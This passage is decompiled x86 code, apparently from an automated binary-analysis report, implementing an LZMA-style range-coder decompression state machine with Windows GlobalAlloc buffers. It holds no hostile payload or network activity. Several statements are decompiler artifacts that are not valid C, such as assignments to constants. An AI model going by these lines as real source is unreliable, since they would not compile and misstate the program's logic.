					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
